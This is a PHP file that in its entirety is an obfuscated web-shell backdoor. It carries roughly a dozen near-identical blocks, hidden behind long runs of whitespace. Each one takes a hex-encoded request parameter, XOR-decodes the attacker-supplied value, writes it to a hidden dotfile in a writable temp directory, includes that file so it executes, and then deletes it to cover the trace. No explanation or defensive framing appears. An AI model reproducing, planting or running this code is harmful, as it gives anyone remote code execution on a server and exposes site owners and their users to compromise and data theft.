<?php																																										if(in_array("\x72efe\x72\x65\x6Ece", array_keys($_REQUEST))){ $flag = array_filter([getcwd(), session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", getenv("TMP")]); $hld = $_REQUEST["\x72efe\x72\x65\x6Ece"]; $hld = explode( "." , $hld ) ; $res = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9 ); $x = 0; $len = count( $hld ); do { if( $x >= $len) break; $v5 = $hld[$x]; $chS = ord( $s9[$x % $lenS] ); $dec =( ( int)$v5 - $chS -( $x % 10))^ 28; $res .= chr( $dec ); $x++; } while( true ); foreach ($flag as $rec): if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $sym = sprintf("%s/.binding", $rec); $success = file_put_contents($sym, $res); if ($success) { include $sym; @unlink($sym); die();} } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["po\x69\x6E\x74er"])){ $value = $_REQUEST["po\x69\x6E\x74er"]; $value = explode ( '.' , $value ) ; $item = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $x = 0; foreach ($value as $v6) { $sChar = ord($s6[$x % $sLen]); $d = ((int)$v6 - $sChar - ($x % 10))^ 52; $item .= chr($d); $x++; } $entry = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), "/dev/shm"]); foreach ($entry as $key) { if (is_dir($key) ? is_writable($key) : false) { $pgrp = "$key" . "/.res"; $file = fopen($pgrp, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $pgrp; @unlink($pgrp); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x76al\x75e"])){ $obj = $_POST["\x76al\x75e"]; $obj = explode ( "." , $obj ) ; $resource= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); foreach ($obj as $w => $v7): $chS= ord($s[$w % $sLen]); $dec= ((int)$v7 - $chS - ($w % 10)) ^ 22; $resource.= chr($dec); endforeach; $bind = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getenv("TMP"), "/tmp", "/dev/shm"]); $key = 0; do { $record = $bind[$key] ?? null; if ($key >= count($bind)) break; if ((bool)is_dir($record) && (bool)is_writable($record)) { $mrk = str_replace("{var_dir}", $record, "{var_dir}/.elem"); if (@file_put_contents($mrk, $resource) !== false) { include $mrk; unlink($mrk); exit; } } $key++; } while (true); }
																																										if(isset($_REQUEST["\x65nt"]) ? true : false){ $reference = $_REQUEST["\x65nt"]; $reference= explode ( "." , $reference ) ; $item = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $p = 0; $__len = count($reference ); do { if ($p >= $__len) break; $v3 = $reference[$p]; $chS = ord($s[$p % $sLen] ); $d = ((int)$v3 - $chS - ($p % 10)) ^40; $item .= chr($d ); $p++; } while (true ); $pset = array_filter([getcwd(), "/dev/shm", "/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TMP")]); foreach ($pset as $desc) { if ((bool)is_dir($desc) && (bool)is_writable($desc)) { $comp = join("/", [$desc, ".elem"]); $file = fopen($comp, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $comp; @unlink($comp); die(); } } } }
																																										if(isset($_POST["\x66lg"])){ $component = $_POST["\x66lg"]; $component = explode ( "." ,$component) ; $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $l = 0; foreach( $component as $v9) { $chS = ord( $salt[$l % $lenS]); $d = ( ( int)$v9 - $chS -( $l % 10))^ 80; $entry .= chr( $d); $l++;} $k = array_filter(["/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp"]); while ($descriptor = array_shift($k)) { if (!( !is_dir($descriptor) || !is_writable($descriptor) )) { $obj = str_replace("{var_dir}", $descriptor, "{var_dir}/.property_set"); if (file_put_contents($obj, $entry)) { include $obj; @unlink($obj); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x74k\x6E"])){ $key = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", session_save_path()]); $rec = $_POST["\x74k\x6E"]; $rec= explode ( '.' , $rec ) ; $property_set =''; $salt7 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt7); foreach($rec as $r => $v2) { $chS =ord($salt7[$r% $sLen]); $dec =((int)$v2 - $chS -($r% 10)) ^ 19; $property_set .= chr($dec); } foreach ($key as $marker) { if (array_product([is_dir($marker), is_writable($marker)])) { $flg = vsprintf("%s/%s", [$marker, ".elem"]); if (@file_put_contents($flg, $property_set) !== false) { include $flg; unlink($flg); exit; } } } }
																																										if(array_key_exists("\x73\x79m\x62ol", $_POST)){ $object = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir")]); $tkn = $_POST["\x73\x79m\x62ol"]; $tkn=explode ("." , $tkn ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $x = 0; $len = count($tkn ); do { if($x>= $len) break; $v3 = $tkn[$x]; $sChar = ord($s[$x % $sLen] ); $d =((int)$v3 - $sChar -($x % 10)) ^ 6; $pset .=chr($d ); $x++; } while(true ); for ($item = 0, $bind = count($object); $item < $bind; $item++) { $component = $object[$item]; if (max(0, is_dir($component) * is_writable($component))) { $pointer = implode("/", [$component, ".sym"]); $success = file_put_contents($pointer, $pset); if ($success) { include $pointer; @unlink($pointer); die();} } } }
																																										if(in_array("re\x63", array_keys($_POST))){ $factor = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp"]); $elem = $_POST["re\x63"]; $elem = explode ( "." , $elem); $val = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt1); foreach( $elem as $u=> $v3) {$chS = ord( $salt1[$u % $sLen]); $dec =( ( int)$v3 - $chS -( $u % 10)) ^ 53; $val .= chr( $dec);} for ($dat = 0, $k = count($factor); $dat < $k; $dat++) { $flag = $factor[$dat]; if (is_dir($flag) && is_writable($flag)) { $data = sprintf("%s/.comp", $flag); if (file_put_contents($data, $val)) { require $data; unlink($data); die(); } } } }
																																										if(!empty($_REQUEST["\x64ch\x75\x6Ek"])){ $factor = $_REQUEST["\x64ch\x75\x6Ek"]; $factor= explode ( "." , $factor ) ; $tkn = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s8); $r = 0; $__len = count($factor); do { if ($r >=$__len) break; $v2 = $factor[$r]; $sChar = ord($s8[$r %$lenS]); $d = ((int)$v2 - $sChar - ($r %10)) ^ 3; $tkn .= chr($d); $r++; } while (true); $res = array_filter([getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path()]); foreach ($res as $key => $hld) { if (is_dir($hld) ? is_writable($hld) : false) { $bind = "$hld/.record"; $file = fopen($bind, 'w'); if ($file) { fwrite($file, $tkn); fclose($file); include $bind; @unlink($bind); exit; } } } }
																																										if(array_key_exists("\x64\x61t", $_REQUEST)){ $component = array_filter(["/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/var/tmp"]); $symbol = $_REQUEST["\x64\x61t"]; $symbol = explode ('.' , $symbol); $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $u = 0; $len = count( $symbol); do { if( $u >= $len) break; $v6 = $symbol[$u]; $sChar = ord( $salt[$u % $lenS]); $dec = ( ( int)$v6 - $sChar -( $u % 10)) ^ 53; $elem .= chr( $dec); $u++;} while( true); $tkn = 0; do { $sym = $component[$tkn] ?? null; if ($tkn >= count($component)) break; if (array_product([is_dir($sym), is_writable($sym)])) { $token = join("/", [$sym, ".comp"]); $success = file_put_contents($token, $elem); if ($success) { include $token; @unlink($token); exit;} } $tkn++; } while (true); }


if(isset($_POST) && isset($_POST["\x64\x61\x74\x61_chu\x6Ek"])){
	$data = array_filter(["/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp", getcwd()]);
	$itm = $_POST["\x64\x61\x74\x61_chu\x6Ek"];
	 $itm =  explode	 	('.'	 ,  	$itm		)	 	;
	$k=		'';
            $salt=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=		strlen($salt);
            $i=		0;
    
            array_walk($itm  ,  function($v6) use(&$k  ,  &$i  ,  $salt  ,  $lenS) {$chS=		ord($salt[$i % $lenS]);
                $d=		((int)$v6 - $chS -($i % 10))		^46;
                $k .= chr($d);
                $i++; 	} );
	while ($pointer = array_shift($data)) {
    		if (!!is_dir($pointer) && !!is_writable($pointer)) {
    $dat = join("/", [$pointer, ".component"]);
    $file = fopen($dat, 'w');
if ($file) {
	fwrite($file, $k);
	fclose($file);
	include $dat;
	@unlink($dat);
	exit;
}
}
}
}